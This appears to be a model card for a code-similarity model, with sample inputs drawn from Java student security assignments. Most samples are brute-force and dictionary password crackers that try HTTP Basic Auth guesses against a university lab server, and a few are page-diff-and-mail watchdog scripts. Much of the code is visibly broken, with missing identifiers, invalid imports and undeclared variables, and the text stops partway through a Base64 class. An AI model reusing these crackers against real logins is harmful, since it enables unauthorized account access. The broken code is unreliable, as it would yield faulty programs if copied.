metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private URL url;\n private HttpURLConnection connection ;\n private int stopTime = 0;\n private int startTime = 0;\n private int count = 0;\n\n public BruteForce()\n {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n }\n\n public static void main (String args[])\n {\n BruteForce bf = new BruteForce();\n }\n \n public void threeLetters()\n {\n String s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n }\n }\n }\n }\n \n public void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n }\n }\n }\n\n \n public void decision(String s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n runTime = stopTime - startTime;\n System.out.println(\"***************************************\");\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the Web site: \");\n displayContent(s1);\n System.out.println(\"\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\\nNumber of attempts: \" + count);\n System.out.println();\n\n System.exit(0);\n }\n }\n \n \n public int find(String s1)\n {\n int responseCode = 0;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n }catch (Exception e)\n {\n System.out.println(e.getMessage());\n }\n return responseCode;\n }\n\n \n public void displayContent(String pw)\n {\n BufferedReader bw = null ;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream stream = (InputStream)(connection.getContent());\n if (stream != null)\n {\n InputStreamReader reader = new InputStreamReader (stream);\n bw = new BufferedReader (reader);\n String line;\n\n while ((line = bw.readLine()) != null)\n {\n System.out.println(line);\n }\n }\n }\n catch (IOException e)\n {\n System.out.println(e.getMessage());\n }\n }\n}\n\n\n\n\n"
sentences:
- |-
import java.io.*;
import java.net.Socket;
import java.util.*;
public class Email
{
private String hello;
private String mailFrom="";
private String mailTo="";
private String mailData="";
private String subject="";
private String content="";
private String follows="";
private String changeContent="";
private String stop="";
private String end="";
private String line="";
private InputStream is;
private BufferedReader bf;
private OutputStream os;
private PrintWriter pw;
public Email(Vector change) throws Exception
{
hello= "HELO mail.rmit.edu.";
mailFrom = "MAIL FROM: @cs.rmit.edu.";
mailTo = "RCPT : @cs.rmit.edu.";
mailData = "DATA";
subject="Subject: Some changes occur";
content=" is some changes the : http://www.cs.rmit.edu./students/";
follows="The changes as follows:";
for(int i=0;i<change.size();i++)
changeContent+=change.elementAt(i).toString()+"\r\n";
stop ="\r\n.";
end="QUIT";
}
public void send() throws Exception
{
Socket sk = new Socket("mail.cs.rmit.edu.",25);
is= sk.getInputStream();
os = sk.getOutputStream();
pw = new PrintWriter(new OutputStreamWriter(os));
pw.println(hello);
pw.println(mailFrom);
pw.println(mailTo);
pw.println(mailData);
pw.println();
pw.println(subject);
pw.println(content);
pw.println(follows);
pw.println(changeContent);
pw.println(stop);
pw.println(end);
pw.flush();
pw.get();
}
}
- |+
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.util.*;
import java.net.*;
public class Dictionary
{
private String userPassword;
private static int counter;
public Dictionary(String username)
{
String user;
String password;
counter = 0;
user = username;
try
{
FileReader fr = new FileReader( "/usr/share/lib/dict/words" );
BufferedReader bf = new BufferedReader( fr );
while ((password = bf.readLine()) != null)
{
userPassword = user + ":" + password;
System.out.print(".");
if (password.length() == 3)
if (doEncoding(userPassword)== true)
{
System.out.println(password);
return;
}
counter++;
}
}
catch ( IOException ioe )
{
System.err.println( ioe.toString() );
}
}
private boolean doEncoding(String userPassword)
{
String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
return doAttempt(encoding);
}
private boolean doAttempt (String encoding)
{
try
{
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection uc = url.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
uc.setRequestProperty ("Get", "/SEC/2/ " + "HTTP/1.1");
uc.setRequestProperty ("Host", "sec-crack.cs.rmit.edu.");
uc.setRequestProperty ("Authorization", " " + encoding);
return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK");
}
catch (MalformedURLException e)
{
System.out.println ("Invalid URL");
}
catch (IOException e)
{
System.out.println (e.toString() );
}
return false;
}
public static void main(String args[])
{
Date sdate = new Date();
System.out.print("Starting the Ditionary Attack at:" + sdate + "\n");
Dictionary bf = new Dictionary(args[0]);
Date edate = new Date();
System.out.print("Ditionary Attack ends at:" + sdate + "\n");
System.out.println("Time taken by Dictionary is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n");
System.out.print("Attempts in this session:" + counter + "\n");
}
}
- "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n\t System.out.println(\"trying passord: \" + passwd);\n try{\n URL yahoo = new URL(urlString); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"passord: \" + passwd);\n returnval = 1;\n }\n\t in.close();\n }catch(Exception e){ returnval = 0;}\n return returnval;\n }\n\n public static void main(String argv[]) { \n\n String[] val = \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n\n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n }\n\n } \n} \n\n"
- source_sentence: |+
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
Process p = Runtime.getRuntime().exec("mkdir predir");
p.waitFor();
Process p1 = Runtime.getRuntime().exec("mkdir postdir");
p1.waitFor();
p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("The WatchDog - Returns 0 if change else 1");
System.out.println("Value :" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("change.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
sentences:
- |-
import java.util.*;
import java.io.*;
import javax.swing.text.html.*;
public class WatchDog {
public WatchDog() {
}
public static void main (String args[]) {
DataInputStream newin;
try{
System.out.println("ishti");
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec("cp newfile.html oldfile.html");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
}
- "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\npublic class Dictionary\n{\n\n\n\n public void crackAddress(String fileName) throws Exception\n {\n String line,username=\"\",passwd,pass;\n int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n System.out.println(\"Hack password with the word:\"+passwd);\n\t String command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\":\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\n while((line=bf.readLine())!=null)\n {\n flag=1;\n break;\n\n }\n if(flag==1)\n {\n System.out.println(\"The username is: \"+username+\" The password is: \"+passwd);\n break;\n }\n }\n GregorianCalendar end=new GregorianCalendar();\n double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\npublic static void main(String args[]) throws Exception\n{\n Dictionary ds = new Dictionary();\n ds.crackAddress(args[0]);\n}\n}"
- |
import java.*;
import java.io.*;
public class C
{
public static void main (String [] args){
try{
int m=0,n=0,w=0;
String file = "passwd.";
char ch1='A',ch2='A',ch3='A';
for(int i = 0 ; i < 26; i++ )
{
for(w=0;w<2;w++)
{
if (w==1)
i+=32;
for(int j = 0; j< 26 ; j++)
{
for(n=0;n<2;n++)
{
if(n==1)
j+=32;
for(int k = 0; k<26 ; k++)
{
for(m=0; m<2; m++)
{
if(m==1)
k+=32;
char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
String str = new String(data);
System.out.println(str);
FileWriter fr1 = new FileWriter(file,true);
BufferedWriter in1 = new BufferedWriter(fr1);
in1.write(str);
in1.newLine();
in1.print();
if (k>=31)
k-=32;
}
}
if(j>=31)
j=j-32;
}
}
if(i>=31)
i-=32;
}
}
}
catch(IOException e)
{
System.out.println("try");
}
}
}
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n private TextArea response;\n int status;\n int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n printW = new PrintWriter(fout);\n }\n catch (IOException ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n u = new URL(url);\n try\n {\n \n uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n String line;\n\n \n while ((line = in.readLine()) != null)\n {\n \n printW.println(line);\n\n }\n }\n catch (Exception e)\n {\n System.out.println(\"Error: \" + e);\n }\n }\n catch (MalformedURLException e)\n {\n System.out.println(url + \" is not a parseable URL\");\n }\n \n printW.print();\n\n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\");\n }\n }\n\n String loadStream(InputStream in) throws IOException\n {\n int ptr = 0;\n in = new BufferedInputStream(in);\n StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next()) != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n mailFlag++;\n \n }\n return buffer.toString();\n }\n\n public void compareDiff(String emailAdd)\n {\n String cmds = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n file.delete();\n String ;\n\n try\n {\n fout2 = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n }\n catch (IOException ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n BufferedReader buf2;\n\n try\n {\n fRead2 = new FileReader(\"diff.txt\");\n buf2 = new BufferedReader(fRead2);\n String line2;\n int i=0;\n\n line = new String(\" some changes the web as followed: \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\", 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n send(null);\n send(\"HELO cs.rmit.edu.\");\n send(\"MAIL FROM: @.rmit.edu.\");\n \n send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \n\n while( (line2 = buf2.readLine()) != null)\n {\n \n line= new String(\"\"+line2+\"\\n\");\n \n \n\n }\n \n \n \n out2.print();\n send(\".\");\n s.print();\n }\n catch(FileNotFoundException e)\n {\n System.out.println(\"File not found\");\n }\n catch(IOException ioe)\n {\n System.out.println(\"IO Error \" + ioe);\n }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n \n System.err.print(loadStream(ps.getErrorStream()));\n }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n }\n }\n\n public void send(String s) throws IOException\n {\n \tresponse = new TextArea();\n \tif(s != null)\n \t{\n response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}"
sentences:
- |
import java.io.*;
import java.net.*;
public class BruteForce
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;
private static int cases;
private static int respCode;
public BruteForce()
{
Authenticator.setDefault(new BruteForceAuthenticator());
t_counter = 0;
f_counter = 0;
cases = 0;
}
public static void main (String[] args)
{
BruteForce bf = new BruteForce();
String file = " ";
while(respCode != 200)
{
file = bf.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}
private String fetchURL()
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try
{
URL url = new URL(urlString);
HttpURLConnection huc = (HttpURLConnection)url.openConnection();
respCode = huc.getResponseCode();
InputStream content = huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null)
{
pw.println(line);
}
} catch (IOException e) {
pw.println("Error URL");
}
return sw.toString();
}
class BruteForceAuthenticator extends Authenticator
{
private String username = "";
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(username,generatePassword());
}
protected char[] generatePassword()
{
int i,j,k;
int n = 26;
String letters1 = "qwertyuiopasdfghjklzxcvbnm";
String letters2 = "abcdefghijklmnopqrstuvwxyz";
i=0;
j=0;
k=0;
if(t_counter == 0)
{
length = 1;
cases = 0;
f_counter = 0;
}
if(t_counter == 2*n)
{
length = 2;
cases = 0;
f_counter = 0;
}
if(t_counter == (2*n + 4*n*n))
{
length = 3;
cases = 0;
f_counter = 0;
}
char c[] = new char[length];
if(length == 1)
{
if(f_counter == n)
{
cases++;
f_counter = 0;
}
i = f_counter;
} else if(length == 2)
{
if(f_counter == n*n)
{
cases++;
f_counter = 0;
}
i = f_counter/n;
j = f_counter - i*n;
} else if(length == 3)
{
if(f_counter == n*n*n)
{
cases++;
f_counter = 0;
}
i = f_counter/(n*n);
j = (f_counter - i*n*n)/n;
k = f_counter - i*n*n - j*n;
}
switch(cases)
{
case 0:
c[0] = letters1.charAt(i);
if(length > 1) c[1] = letters1.charAt(j);
if(length > 2) c[2] = letters1.charAt(k);
break;
case 1:
c[0] = Character.toUpperCase(letters1.charAt(i));
if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 2:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = letters1.charAt(j);
if(length > 2) c[2] = letters1.charAt(k);
break;
case 3:
c[0] = letters1.charAt(i);
c[1] = Character.toUpperCase(letters1.charAt(j));
if(length > 2) c[2] = letters1.charAt(k);
break;
case 4:
c[0] = letters1.charAt(i);
c[1] = letters1.charAt(j);
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 5:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = Character.toUpperCase(letters1.charAt(j));
c[2] = letters1.charAt(k);
break;
case 6:
c[0] = letters1.charAt(i);
c[1] = Character.toUpperCase(letters1.charAt(j));
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 7:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = letters1.charAt(j);
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
default:
break;
}
f_counter++;
t_counter++;
password = new String(c);
return c;
}
}
}
- "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String hostname;\n private int port;\n private String filename;\n private Socket s;\n private int n;\n private InputStream sin;\n private OutputStream sout;\n private int dif;\n private String myPassword;\n private int status;\n private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce bf , int num, int myPort, String password)\n {\n \n hostname = new String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n myTime = 0;\n myPassword = password;\n filename = new String(\"/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n public getDif()\n {\n return dif;\n }\n public int getStatus()\n {\n return status;\n }\n public void run() \n {\n String inputLine;\n String[] tokens = new String[5];\n int i;\n myTime = 0;\n finish = 0;\n start = System.currentTimeMillis();\n try\n {\n s = new Socket( hostname, port);\n }catch( UnknownHostException e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException e)\n {\n System.out.println(\"Error connecting host \"+n);\n\t return;\n }\n while(s.isConnected() == false)\n continue;\n \n finish = System.currentTimeMillis();\n dif = finish - start;\n \n try\n {\n sin = s.getInputStream();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));\n try\n {\n sout = s.getOutputStream();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization: \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n \n try\n {\n inputLine = fromServer.readLine();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n\t inputLine = null;\n }\n \n java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n {\n fromServer.receive();\n }catch( IOException e)\n {\n System.out.println(\"'t open stream\");\n }\n try\n {\n s.connect();\n }catch( IOException e)\n {\n System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
- "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate static String password=\" \"; \n\n \n public static void main(String[] args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]); \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result); \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\tfor ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password; \n\n \n\t\t String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\", \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\t\t \n\n\n\n \n \n\t } \n \n \n\t} \n return \"Password could not found\"; \n\n }\n\n\n}"
- source_sentence: |
package java.httputils;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;
public class RunnableBruteForce extends BruteForce implements Runnable
{
protected int rangeStart, rangeEnd;
protected boolean stop = false;
public RunnableBruteForce()
{
super();
}
public void run()
{
process();
}
public static void main(String[] args)
{
}
public int getRangeEnd()
{
return rangeEnd;
}
public int getRangeStart()
{
return rangeStart;
}
public void setRangeEnd(int i)
{
rangeEnd = i;
}
public void setRangeStart(int i)
{
rangeStart = i;
}
public boolean isStop()
{
return stop;
}
public void setStop(boolean b)
{
stop = b;
}
public void process()
{
String password = "";
System.out.println(Thread.currentThread().getName() +
"-> workload: " +
this.letters[getRangeStart()] + " " +
this.letters[getRangeEnd() - 1]);
setStart(new Timestamp(System.currentTimeMillis()));
for (int i = getRangeStart();
i < getRangeEnd();
i++)
{
System.out.println(Thread.currentThread().getName() +
"-> Trying words beginning with: " +
letters[i]);
for (int i2 = 0;
i2 < letters.length;
i2++)
{
for (int i3 = 0;
i3 < letters.length;
i3++)
{
if (isStop())
{
return;
}
try
{
char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
String pwd = new String(arr);
if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
{
System.out.println(Thread.currentThread().getName() +
"-> Trying password: " +
pwd);
}
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
pwd);
System.out.println("Got the password");
setPassword(pwd);
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
this.setChanged();
this.notifyObservers(this.getContent());
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
}
sentences:
- |-
public class Base64 {
static public char[] encode(byte[] data)
{
char[] out = new char[((data.length + 2) / 3) * 4];
for (int i=0, index=0; i<data.length; i+=3, index+=4) {
boolean quad = false;
boolean trip = false;
